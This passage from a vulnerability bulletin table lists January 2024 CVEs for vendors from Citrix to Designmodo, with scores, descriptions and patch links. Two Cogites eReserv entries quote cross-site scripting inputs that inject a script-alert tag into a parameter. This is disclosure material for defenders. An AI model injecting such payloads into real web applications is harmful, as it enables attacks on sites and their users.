Improper Control of Generation of Code ('Code Injection')	17-Jan-2024	8.8	Improper Control of Generation of Code ('Code Injection') in NetScaler ADC and NetScaler Gateway allows an attacker with access to NSIP, CLIP or SNIP with management interface to perform Authenticated (low privileged) remote code execution on	https://support.citrix.com/article/CTX584986/netscaler-adc-and-netscaler-gateway-security-bulletin-for-cve20236548-and-cve20236549	A-CIT-NETS-130224/322

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Management Interface. **CVE ID : CVE-2023-6548**		
Improper Restriction of Operations within the Bounds of a Memory Buffer	17-Jan-2024	7.5	Improper Restriction of Operations within the Bounds of a Memory Buffer in NetScaler ADC and NetScaler Gateway allows Unauthenticated Denial of Service **CVE ID : CVE-2023-6549**	https://support.citrix.com/article/CTX584986/netscaler-adc-and-netscaler-gateway-security-bulletin-for-cve20236548-and-cve20236549	A-CIT-NETS-130224/323
Product: virtual_apps_and_desktops					
Affected Version(s): * Up to (including) 2311					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	18-Jan-2024	7.2	Cross SiteScripting vulnerability in Citrix Session Recording allows attacker to perform Cross Site Scripting **CVE ID : CVE-2023-6184**	https://support.citrix.com/article/CTX583930/citrix-session-recording-security-bulletin-for-cve20236184	A-CIT-VIRT-130224/324
Affected Version(s): 1912					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	18-Jan-2024	7.2	Cross SiteScripting vulnerability in Citrix Session Recording allows attacker to perform Cross Site Scripting **CVE ID : CVE-2023-6184**	https://support.citrix.com/article/CTX583930/citrix-session-recording-security-bulletin-for-cve20236184	A-CIT-VIRT-130224/325
Affected Version(s): 2203					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	18-Jan-2024	7.2	Cross SiteScripting vulnerability in Citrix Session Recording allows attacker to perform Cross Site Scripting **CVE ID : CVE-2023-6184**	https://support.citrix.com/article/CTX583930/citrix-session-recording-security-bulletin-for-cve20236184	A-CIT-VIRT-130224/326
Vendor: classlink					
Product: oneclick					
Affected Version(s): * Up to (including) 10.8					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	23-Jan-2024	6.1	A Universal Cross Site Scripting (UXSS) vulnerability in ClassLink OneClick Extension through 10.8 allows remote attackers to inject JavaScript into any webpage. NOTE: this issue exists because of an incomplete fix for CVE-2022-48612. **CVE ID : CVE-2023-45889**	N/A	A-CLA-ONEC-130224/327
Vendor: clickhouse					
Product: java_libraries					
Affected Version(s): * Up to (excluding) 0.4.6					
Generation of Error Message Containing Sensitive Information	19-Jan-2024	8.8	Exposure of sensitive information in exceptions in ClichHouse's clickhouse-r2dbc, com.clickhouse:clickhouse-jdbc, and com.clickhouse:clickhouse-client	https://github.com/ClickHouse/clickhouse-java/pull/1334, https://github.com/ClickHouse/clickhouse-java/security/advisories/GHSA	A-CLI-JAVA-130224/328

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			versions less than 0.4.6 allows unauthorized users to gain access to client certificate passwords via client exception logs. This occurs when 'sslkey' is specified and an exception, such as a ClickHouseException or SQLException, is thrown during database operations; the certificate password is then included in the logged exception message. **CVE ID : CVE-2024-23689**	-g8ph-74m6-8m7r	
Vendor: clojure					
Product: clojure					
Affected Version(s): * Up to (excluding) 1.9.0					
Deserialization of Untrusted Data	22-Jan-2024	9.8	In Clojure before 1.9.0, classes can be used to construct a serialized object that executes arbitrary code upon deserialization. This is relevant if a	https://clojure.atlassian.net/browse/CLJ-2204, https://github.com/clojure/clojure/commit/271674c9b484d798484d134a5ac40a6df15d3ac3, https://github.com/frohoff/ysoserial/pull/68/f	A-CLO-CLOJ-130224/329

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			server deserializes untrusted objects. **CVE ID : CVE-2017-20189**	iles, https://security.snyk.io/vuln/SNYK-JAVA-ORGCLOJURE-5740378	
Vendor: cloud					
Product: citrix_storefront					
Affected Version(s): 1912					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	6.1	Cross-site scripting (XSS) **CVE ID : CVE-2023-5914**	https://support.citrix.com/article/CTX583759/citrix-storefront-security-bulletin-for-cve20235914	A-CLO-CITR-130224/330
Affected Version(s): * Up to (excluding) 1912					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	6.1	Cross-site scripting (XSS) **CVE ID : CVE-2023-5914**	https://support.citrix.com/article/CTX583759/citrix-storefront-security-bulletin-for-cve20235914	A-CLO-CITR-130224/331
Affected Version(s): * Up to (excluding) 2308.1					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	6.1	Cross-site scripting (XSS) **CVE ID : CVE-2023-5914**	https://support.citrix.com/article/CTX583759/citrix-storefront-security-bulletin-for-cve20235914	A-CLO-CITR-130224/332
Vendor: cloudflare					
Product: cloudflare					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Affected Version(s): * Up to (excluding) 4.12.3					
N/A	29-Jan-2024	6.5	The Cloudflare Wordpress plugin was found to be vulnerable to improper authentication. The vulnerability enables attackers with a lower privileged account to access data from the Cloudflare API. **CVE ID : CVE-2024-0212**	https://github.com/cloudflare/Cloudflare-WordPress/security/advisories/GHSA-h2fj-7r3m-7gf2	A-CLO-CLOU-130224/333
Vendor: cloudlinux					
Product: cagefs					
Affected Version(s): * Up to (excluding) 7.1.1-1					
Externally Controlled Reference to a Resource in Another Sphere	22-Jan-2024	4.4	CloudLinux CageFS 7.0.8-2 or below insufficiently restricts file paths supplied to the sendmail proxy command. This allows local users to read and write arbitrary files outside the CageFS environment in a limited way. **CVE ID : CVE-2020-36772**	N/A	A-CLO-CAGE-130224/334
Affected Version(s): * Up to (excluding) 7.1.2-2					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
N/A	22-Jan-2024	7.8	CloudLinux CageFS 7.1.1-1 or below passes the authentication token as command line argument. In some configurations this allows local users to view it via the process list and gain code execution as another user. **CVE ID : CVE-2020-36771**	N/A	A-CLO-CAGE-130224/335
Vendor: code-projects					
Product: social_networking_site					
Affected Version(s): 1.0					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	19-Jan-2024	5.4	A vulnerability was found in code-projects Social Networking Site 1.0 and classified as problematic. Affected by this issue is some unknown functionality of the file message.php of the component Message Page. The manipulation of the argument Story leads to cross site scripting. The attack may be	N/A	A-COD-SOCI-130224/336

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			launched remotely. The exploit has been disclosed to the public and may be used. VDB-251546 is the identifier assigned to this vulnerability. **CVE ID : CVE-2024-0722**		
Vendor: codelyfe					
Product: stupid_simple_cms					
Affected Version(s): * Up to (including) 1.2.4					
Cross-Site Request Forgery (CSRF)	17-Jan-2024	8.8	Stupid Simple CMS <=1.2.4 was discovered to contain a Cross-Site Request Forgery (CSRF) via the component /admin-edit.php. **CVE ID : CVE-2024-22715**	N/A	A-COD-STUP-130224/337
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	6.1	Stupid Simple CMS <=1.2.4 is vulnerable to Cross Site Scripting (XSS) in the editing section of the article content. **CVE ID : CVE-2024-22714**	N/A	A-COD-STUP-130224/338
Vendor: Codepeople					
Product: calculated_fields_form					
Affected Version(s): * Up to (excluding) 1.1.151					
Improper Neutralization of Input	16-Jan-2024	4.8	The Calculated Fields Form WordPress plugin before 1.1.151	N/A	A-COD-CALC-130224/339

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
During Web Page Generation ('Cross-site Scripting')			does not sanitise and escape some of its form settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup) **CVE ID : CVE-2023-0389**		
Product: wp_time_slots_booking_form					
Affected Version(s): * Up to (including) 1.1.76					
Missing Authorization	17-Jan-2024	8.8	Missing Authorization vulnerability in CodePeople WP Time Slots Booking Form.This issue affects WP Time Slots Booking Form: from n/a through 1.1.76. **CVE ID : CVE-2022-41790**	N/A	A-COD-WP_T-130224/340
Vendor: Cogites					
Product: ereserv					
Affected Version(s): 7.7.58					
Improper Neutralization of Input	30-Jan-2024	6.1	A vulnerability was found in Cogites eReserv 7.7.58 and classified as	N/A	A-COG-ERES-130224/341

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
During Web Page Generation ('Cross-site Scripting')			problematic. This issue affects some unknown processing of the file front/admin/config.php. The manipulation of the argument id with the input %22%3E%3Cscript%3Ealert(%27XSS%27)%3C/script%3E leads to cross site scripting. The attack may be initiated remotely. The identifier VDB-252293 was assigned to this vulnerability. **CVE ID : CVE-2024-1026**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	30-Jan-2024	6.1	A vulnerability was found in Cogites eReserv 7.7.58 and classified as problematic. Affected by this issue is some unknown functionality of the file /front/admin/tenancyDetail.php. The manipulation of the argument Nom with the input Dreux"><script>alert('XSS')</script> leads to cross site scripting. The attack may be	N/A	A-COG-ERES-130224/342

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			launched remotely. The exploit has been disclosed to the public and may be used. VDB-252302 is the identifier assigned to this vulnerability. **CVE ID : CVE-2024-1029**		
Vendor: cohesity					
Product: cohesity_dataplatform					
Affected Version(s): * Up to (including) 7.0.1					
N/A	19-Jan-2024	6.5	Cohesity DataProtect prior to 6.8.1_u5 or 7.1 was discovered to have a incorrect access control vulnerability due to a lack of TLS Certificate Validation. **CVE ID : CVE-2023-33295**	N/A	A-COH-COHE-130224/343
Vendor: coign					
Product: coign					
Affected Version(s): 06.06					
N/A	24-Jan-2024	8.8	An issue in Coign CRM Portal v.06.06 allows a remote attacker to escalate privileges via the userPermissionsList parameter in Session Storage component. **CVE ID : CVE-2023-43317**	N/A	A-COI-COIG-130224/344

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Vendor: consensys					
Product: discovery					
Affected Version(s): * Up to (excluding) 0.4.5					
Use of Insufficiently Random Values	19-Jan-2024	5.3	Consensys Discovery versions less than 0.4.5 uses the same AES/GCM nonce for the entire session. which should ideally be unique for every message. The node's private key isn't compromised, only the session key generated for specific peer communication is exposed. **CVE ID : CVE-2024-23688**	https://github.com/ConsenSys/discovery/security/advisories/GHSA-w3hj-wr2q-x83g	A-CON-DISC-130224/345
Vendor: contiki-ng					
Product: tinydtls					
Affected Version(s): * Up to (including) 2018-08-30					
Improper Handling of Exceptional Conditions	22-Jan-2024	9.8	An issue was discovered in Contiki-NG tinyDTLS through 2018-08-30. One incorrect handshake could complete with different epoch numbers in the packets Client_Hello, Client_key_exchange, and	https://github.com/contiki-ng/tinydtls/issues/27	A-CON-TINY-130224/346

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Change_cipher_spec, which may cause denial of service. **CVE ID : CVE-2021-42141**		
Improper Handling of Exceptional Conditions	23-Jan-2024	9.8	An issue was discovered in Contiki-NG tinyDTLS through master branch 53a0d97. DTLS servers mishandle the early use of a large epoch number. This vulnerability allows remote attackers to cause a denial of service and false-positive packet drops. **CVE ID : CVE-2021-42142**	https://github.com/contiki-ng/tinydtls/issues/24	A-CON-TINY-130224/347
Loop with Unreachable Exit Condition ('Infinite Loop')	24-Jan-2024	9.1	An issue was discovered in Contiki-NG tinyDTLS through master branch 53a0d97. An infinite loop bug exists during the handling of a ClientHello handshake message. This bug allows remote attackers to cause a denial of service by sending a malformed ClientHello handshake message with an	N/A	A-CON-TINY-130224/348

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			odd length of cipher suites, which triggers an infinite loop (consuming all resources) and a buffer over-read that can disclose sensitive information. **CVE ID : CVE-2021-42143**		
Improper Handling of Exceptional Conditions	24-Jan-2024	7.5	An assertion failure discovered in in check_certificate_request() in Contiki-NG tinyDTLS through master branch 53a0d97 allows attackers to cause a denial of service. **CVE ID : CVE-2021-42145**	N/A	A-CON-TINY-130224/349
Affected Version(s): 2018-08-30					
Out-of-bounds Read	24-Jan-2024	9.1	Buffer over-read vulnerability in the dtls_sha256_update function in Contiki-NG tinyDTLS through master branch 53a0d97 allows remote attackers to cause a denial of service via crafted data packet. **CVE ID : CVE-2021-42147**	N/A	A-CON-TINY-130224/350
Improper Handling of	24-Jan-2024	7.5	An issue was discovered in Contiki-NG	N/A	A-CON-TINY-130224/351

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Exceptional Conditions			tinyDTLS through master branch 53a0d97. DTLS servers allow remote attackers to reuse the same epoch number within two times the TCP maximum segment lifetime, which is prohibited in RFC6347. This vulnerability allows remote attackers to obtain sensitive application (data of connected clients). **CVE ID : CVE-2021-42146**		
Vendor: cozmoslabs					
Product: profile_builder					
Affected Version(s): * Up to (including) 3.10.0					
Cross-Site Request Forgery (CSRF)	31-Jan-2024	8.8	Cross-Site Request Forgery (CSRF) vulnerability in Cozmoslabs Profile Builder Pro.This issue affects Profile Builder Pro: from n/a through 3.10.0. **CVE ID : CVE-2024-22140**	N/A	A-COZ-PROF-130224/352
Exposure of Sensitive Information to an Unauthorized Actor	24-Jan-2024	7.5	Exposure of Sensitive Information to an Unauthorized Actor vulnerability in Cozmoslabs	N/A	A-COZ-PROF-130224/353

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Profile Builder Pro.This issue affects Profile Builder Pro: from n/a through 3.10.0. **CVE ID : CVE-2024-22141**		
Vendor: crmperks					
Product: database_for_contact_form_7\,_wpforms\,_elementor_forms					
Affected Version(s): * Up to (excluding) 1.3.0					
Improper Neutralization of Formula Elements in a CSV File	16-Jan-2024	7.8	The Contact Form Entries WordPress plugin before 1.3.0 does not validate data when its output in a CSV file, which could lead to CSV injection. **CVE ID : CVE-2022-3604**	N/A	A-CRM-DATA-130224/354
Vendor: cusrev					
Product: customer_reviews_for_woocommerce					
Affected Version(s): * Up to (excluding) 5.17.0					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	16-Jan-2024	5.4	The Customer Reviews for WooCommerce WordPress plugin before 5.17.0 does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which could allow users	N/A	A-CUS-CUST-130224/355

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			with the contributor role and above to perform Stored Cross-Site Scripting attacks. **CVE ID : CVE-2023-0079**		
Vendor: datahub_project					
Product: datahub					
Affected Version(s): * Up to (excluding) 0.12.1					
Incorrect Default Permissions	16-Jan-2024	8.8	DataHub is an open-source metadata platform. In affected versions a low privileged user could remove a user, edit group members, or edit another user's profile information. The default privileges gave too many broad permissions to low privileged users. These have been constrained in PR #9067 to prevent abuse. This issue can result in privilege escalation for lower privileged users up to admin privileges, potentially, if a group with admin privileges exists. May not impact instances that have modified default	https://github.com/datahub-project/datahub/pull/9067, https://github.com/datahub-project/datahub/security/advisories/GHSA-x3v6-r479-m4xv	A-DAT-DATA-130224/356

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			privileges. This issue has been addressed in datahub version 0.12.1. Users are advised to upgrade. **CVE ID : CVE-2024-22409**		
Vendor: davidjmiller					
Product: voting_record					
Affected Version(s): * Up to (including) 2.0					
Cross-Site Request Forgery (CSRF)	16-Jan-2024	5.4	The Voting Record WordPress plugin through 2.0 does not have CSRF check in some places, and is missing sanitisation as well as escaping, which could allow attackers to make logged in admin add Stored XSS payloads via a CSRF attack **CVE ID : CVE-2023-7083**	N/A	A-DAV-VOTI-130224/357
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	16-Jan-2024	5.4	The Voting Record WordPress plugin through 2.0 is missing sanitisation as well as escaping, which could allow any authenticated users, such as subscriber to perform Stored XSS attacks	N/A	A-DAV-VOTI-130224/358

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2023-7084		
Vendor: dcgws					
Product: hreflang_tags_lite					
Affected Version(s): * Up to (including) 2.0.0					
Missing Authorization	17-Jan-2024	9.8	Missing Authorization vulnerability in Vagary Digital HREFLANG Tags Lite.This issue affects HREFLANG Tags Lite: from n/a through 2.0.0. **CVE ID : CVE-2022-36418**	N/A	A-DCG-HREF-130224/359
Vendor: dd32					
Product: core_control					
Affected Version(s): * Up to (including) 1.2.1					
Cross-Site Request Forgery (CSRF)	16-Jan-2024	4.3	The Core Control WordPress plugin through 1.2.1 does not have CSRF check in place when updating its settings, which could allow attackers to make a logged in admin change them via a CSRF attack **CVE ID : CVE-2022-1760**	N/A	A-DD3-CORE-130224/360
Vendor: deano					
Product: amp_toolbox					
Affected Version(s): * Up to (including) 2.1.1					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Server-Side Request Forgery (SSRF)	19-Jan-2024	9.8	Server-Side Request Forgery (SSRF) vulnerability in Montonio Montonio for WooCommerce, Wpopal Wpopal Core Features, AMO for WP – Membership Management ArcStone wp-amo, Long Watch Studio WooVirtualWallet – A virtual wallet for WooCommerce, Long Watch Studio WooVIP – Membership plugin for WordPress and WooCommerce, Long Watch Studio WooSupply – Suppliers, Supply Orders and Stock Management, Squidesma Theme Minifier, Paul Clark Styles styles, Designmodo Inc. WordPress Page Builder – Qards, Philip M. Hofer (Frumph) PHPFreeChat, Arun Basil Lal Custom Login Admin Front-end CSS, Team Agence-Press CSS Adder By Agence-Press, Unihost Confirm Data, deano1987	N/A	A-DEA-AMP_-130224/361

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			AMP Toolbox amp-toolbox, Arun Basil Lal Admin CSS MU.This issue affects Montonio for WooCommerce: from n/a through 6.0.1; Wpopal Core Features: from n/a through 1.5.8; ArcStone: from n/a through 4.6.6; WooVirtualWallet – A virtual wallet for WooCommerce: from n/a through 2.2.1; WooVIP – Membership plugin for WordPress and WooCommerce: from n/a through 1.4.4; WooSupply – Suppliers, Supply Orders and Stock Management: from n/a through 1.2.2; Theme Minifier: from n/a through 2.0; Styles: from n/a through 1.2.3; WordPress Page Builder – Qards: from n/a through 1.0.5; PHPFreeChat: from n/a through 0.2.8; Custom Login Admin Front-end CSS: from n/a through 1.4.1; CSS Adder By Agence-Press: from n/a through 1.5.0; Confirm Data: from		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			n/a through 1.0.7; AMP Toolbox: from n/a through 2.1.1; Admin CSS MU: from n/a through 2.6. **CVE ID : CVE-2022-40700**		
Vendor: Dedecms					
Product: dedecms					
Affected Version(s): 5.7.112					
Unrestricted Upload of File with Dangerous Type	22-Jan-2024	8.8	DedeCMS 5.7.112 has a File Upload vulnerability via uploads/dede/module_upload.php. **CVE ID : CVE-2024-22895**	N/A	A-DED-DEDE-130224/362
Vendor: deepwisdom					
Product: metagpt					
Affected Version(s): * Up to (including) 0.6.4					
Improper Control of Generation of Code ('Code Injection')	22-Jan-2024	8.8	MetaGPT through 0.6.4 allows the QaEngineer role to execute arbitrary code because RunCode.run_script() passes shell metacharacters to subprocess.Popen. **CVE ID : CVE-2024-23750**	https://github.com/geekan/MetaGPT/issues/731	A-DEE-META-130224/363
Vendor: delhivery					
Product: logistics_courier					
Affected Version(s): * Up to (including) 1.0.107					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	27-Jan-2024	8.8	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Delhivery Delhivery Logistics Courier.This issue affects Delhivery Logistics Courier: from n/a through 1.0.107. **CVE ID : CVE-2024-22283**	N/A	A-DEL-LOGI-130224/364
Vendor: Dell					
Product: networker					
Affected Version(s): * Up to (including) 19.9					
Insufficiently Protected Credentials	25-Jan-2024	6.5	Networker 19.9 and all prior versions contains a Plain-text Password stored in temporary config file during backup duration in NMDA MySQL Database backups. User has low privilege access to Networker Client system could potentially exploit this vulnerability, leading to the disclosure of configured MySQL	https://www.dell.com/support/kbdoc/en-us/000221474/dsa-2024-059-security-update-for-dell-networker-multiple-components-vulnerabilities	A-DEL-NETW-130224/365

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Database user credentials. The attacker may be able to use the exposed credentials to access the vulnerable application Database with privileges of the compromised account. **CVE ID : CVE-2024-22432**		
Product: pair					
Affected Version(s): * Up to (excluding) 1.2.1					
N/A	24-Jan-2024	7.1	Dell Pair Installer version prior to 1.2.1 contains an elevation of privilege vulnerability. A low privilege user with local access to the system could potentially exploit this vulnerability to delete arbitrary files and result in Denial of Service. **CVE ID : CVE-2023-44281**	https://www.dell.com/support/kbdoc/en-us/000219185/dsa-2023-141	A-DEL-PAIR-130224/366
Product: unityvsa_operating_environment					
Affected Version(s): 5.3.0.0.5.120					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Improper Encoding or Escaping of Output	24-Jan-2024	4.3	Dell Unity, versions prior to 5.4, contain a vulnerability whereby log messages can be spoofed by an authenticated attacker. An attacker could exploit this vulnerability to forge log entries, create false alarms, and inject malicious content into logs that compromise logs integrity. A malicious attacker could also prevent the product from logging information while malicious actions are performed or implicate an arbitrary user for malicious activities. **CVE ID : CVE-2024-22229**	https://www.dell.com/support/kbdoc/en-us/000213152/dsa-2023-141-dell-unity-unity-vsa-and-unity-xt-security-update-for-multiple-vulnerabilities	A-DEL-UNIT-130224/367
Product: unity_operating_environment					
Affected Version(s): 5.3.0.0.5.120					
Improper Encoding or Escaping of Output	24-Jan-2024	4.3	Dell Unity, versions prior to 5.4, contain a vulnerability	https://www.dell.com/support/kbdoc/en-us/000213152/dsa-2023-141-dell-unity-	A-DEL-UNIT-130224/368

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			whereby log messages can be spoofed by an authenticated attacker. An attacker could exploit this vulnerability to forge log entries, create false alarms, and inject malicious content into logs that compromise logs integrity. A malicious attacker could also prevent the product from logging information while malicious actions are performed or implicate an arbitrary user for malicious activities. **CVE ID : CVE-2024-22229**	unity-vsa-and-unity-xt-security-update-for-multiple-vulnerabilities	
Product: unity_xt_operating_environment					
Affected Version(s): 5.3.0.0.5.120					
Improper Encoding or Escaping of Output	24-Jan-2024	4.3	Dell Unity, versions prior to 5.4, contain a vulnerability whereby log messages can be spoofed by an authenticated attacker. An attacker could	https://www.dell.com/support/kbdoc/en-us/000213152/dsa-2023-141-dell-unity-unity-vsa-and-unity-xt-security-update-for-	A-DEL-UNIT-130224/369

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			exploit this vulnerability to forge log entries, create false alarms, and inject malicious content into logs that compromise logs integrity. A malicious attacker could also prevent the product from logging information while malicious actions are performed or implicate an arbitrary user for malicious activities. **CVE ID : CVE-2024-22229**	multiple-vulnerabilities	
Vendor: deltaww					
Product: dopsoft					
Affected Version(s): From (including) 2.00.00.00 Up to (including) 2.00.07.04					
Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	18-Jan-2024	7.8	A buffer overflow vulnerability exists in Delta Electronics Delta Industrial Automation DOPSoft version 2 when parsing the wScreenDESCTextLen field of a DPS file. An anonymous attacker can exploit this vulnerability by enticing a user to open a specially crafted DPS file to	N/A	A-DEL-DOPS-130224/370

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			achieve code execution. **CVE ID : CVE-2023-43815**		
Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	18-Jan-2024	7.8	A buffer overflow vulnerability exists in Delta Electronics Delta Industrial Automation DOPSoft version 2 when parsing the wKPFStringLen field of a DPS file. An anonymous attacker can exploit this vulnerability by enticing a user to open a specially crafted DPS file to achieve code execution. **CVE ID : CVE-2023-43816**	N/A	A-DEL-DOPS-130224/371
Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	18-Jan-2024	7.8	A buffer overflow exists in Delta Electronics Delta Industrial Automation DOPSoft version 2 when parsing the wMailContentLen field of a DPS file. An anonymous attacker can exploit this vulnerability by enticing a user to open a specially crafted DPS file to	N/A	A-DEL-DOPS-130224/372

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			achieve code execution. **CVE ID : CVE-2023-43817**		
Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	18-Jan-2024	7.8	A buffer overflow exists in Delta Electronics Delta Industrial Automation DOPSoft. A remote, unauthenticated attacker can exploit this vulnerability by enticing a user to open a specially crafted DPS file to achieve remote code execution. **CVE ID : CVE-2023-43818**	N/A	A-DEL-DOPS-130224/373
Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	18-Jan-2024	7.8	A stack based buffer overflow exists in Delta Electronics Delta Industrial Automation DOPSoft when parsing the InitialMacroLen field of a DPS file. A remote, unauthenticated attacker can exploit this vulnerability by enticing a user to open a specially crafted DPS file to	N/A	A-DEL-DOPS-130224/374

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			achieve remote code execution. **CVE ID : CVE-2023-43819**		
Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	18-Jan-2024	7.8	A stack based buffer overflow exists in Delta Electronics Delta Industrial Automation DOPSoft when parsing the wLogTitlesPrevValueLen field of a DPS file. A remote, unauthenticated attacker can exploit this vulnerability by enticing a user to open a specially crafted DPS file to achieve remote code execution. **CVE ID : CVE-2023-43820**	N/A	A-DEL-DOPS-130224/375
Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	18-Jan-2024	7.8	A stack based buffer overflow exists in Delta Electronics Delta Industrial Automation DOPSoft when parsing the wLogTitlesActionLen field of a DPS file. A remote, unauthenticated attacker can exploit this vulnerability by	N/A	A-DEL-DOPS-130224/376

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			enticing a user to open a specially crafted DPS file to achieve remote code execution. **CVE ID : CVE-2023-43821**		
Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	18-Jan-2024	7.8	A stack based buffer overflow exists in Delta Electronics Delta Industrial Automation DOPSoft when parsing the wLogTitlesTimeLen field of a DPS file. A remote, unauthenticated attacker can exploit this vulnerability by enticing a user to open a specially crafted DPS file to achieve remote code execution. **CVE ID : CVE-2023-43822**	N/A	A-DEL-DOPS-130224/377
Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	18-Jan-2024	7.8	A stack based buffer overflow exists in Delta Electronics Delta Industrial Automation DOPSoft when parsing the wTTitleLen field of a DPS file. A remote,	N/A	A-DEL-DOPS-130224/378

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			unauthenticated attacker can exploit this vulnerability by enticing a user to open a specially crafted DPS file to achieve remote code execution. **CVE ID : CVE-2023-43823**		
Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	18-Jan-2024	7.8	A stack based buffer overflow exists in Delta Electronics Delta Industrial Automation DOPSoft when parsing the wTitleTextLen field of a DPS file. A remote, unauthenticated attacker can exploit this vulnerability by enticing a user to open a specially crafted DPS file to achieve remote code execution. **CVE ID : CVE-2023-43824**	N/A	A-DEL-DOPS-130224/379
Product: ispsoft					
Affected Version(s): 3.02.11					
Out-of-bounds Write	18-Jan-2024	8.8	A heap buffer-overflow exists in Delta Electronics ISPSoft. An anonymous attacker can exploit this	N/A	A-DEL-ISPS-130224/380

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			vulnerability by enticing a user to open a specially crafted DVP file to achieve code execution. **CVE ID : CVE-2023-5131**		
Product: wplsoft					
Affected Version(s): 2.42.11					
Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	18-Jan-2024	8.8	A buffer overflow vulnerability exists in Delta Electronics WPLSoft. An anonymous attacker can exploit this vulnerability by enticing a user to open a specially crafted DVP file to achieve code execution. **CVE ID : CVE-2023-5130**	N/A	A-DEL-WPLS-130224/381
Vendor: designmodo					
Product: qards					
Affected Version(s): * Up to (including) 1.0.5					
Server-Side Request Forgery (SSRF)	19-Jan-2024	9.8	Server-Side Request Forgery (SSRF) vulnerability in Montonio Montonio for WooCommerce, Wpopal Wpopal Core Features, AMO for WP –	N/A	A-DES-QARD-130224/382

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Membership Management ArcStone wp-amo, Long Watch Studio WooVirtualWallet – A virtual wallet for WooCommerce, Long Watch Studio WooVIP – Membership plugin for WordPress and WooCommerce, Long Watch Studio WooSupply – Suppliers, Supply Orders and Stock Management, Squidesma Theme Minifier, Paul Clark Styles styles, Designmodo Inc. WordPress Page Builder – Qards, Philip M. Hofer (Frumph) PHPFreeChat, Arun Basil Lal Custom Login Admin Front-end CSS, Team Agence-Press CSS Adder By Agence-Press, Unihost Confirm Data, deano1987 AMP Toolbox amp-toolbox, Arun Basil Lal Admin CSS MU.This issue affects Montonio for WooCommerce: from n/a through 6.0.1; Wpopal Core Features: from n/a through 1.5.8;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
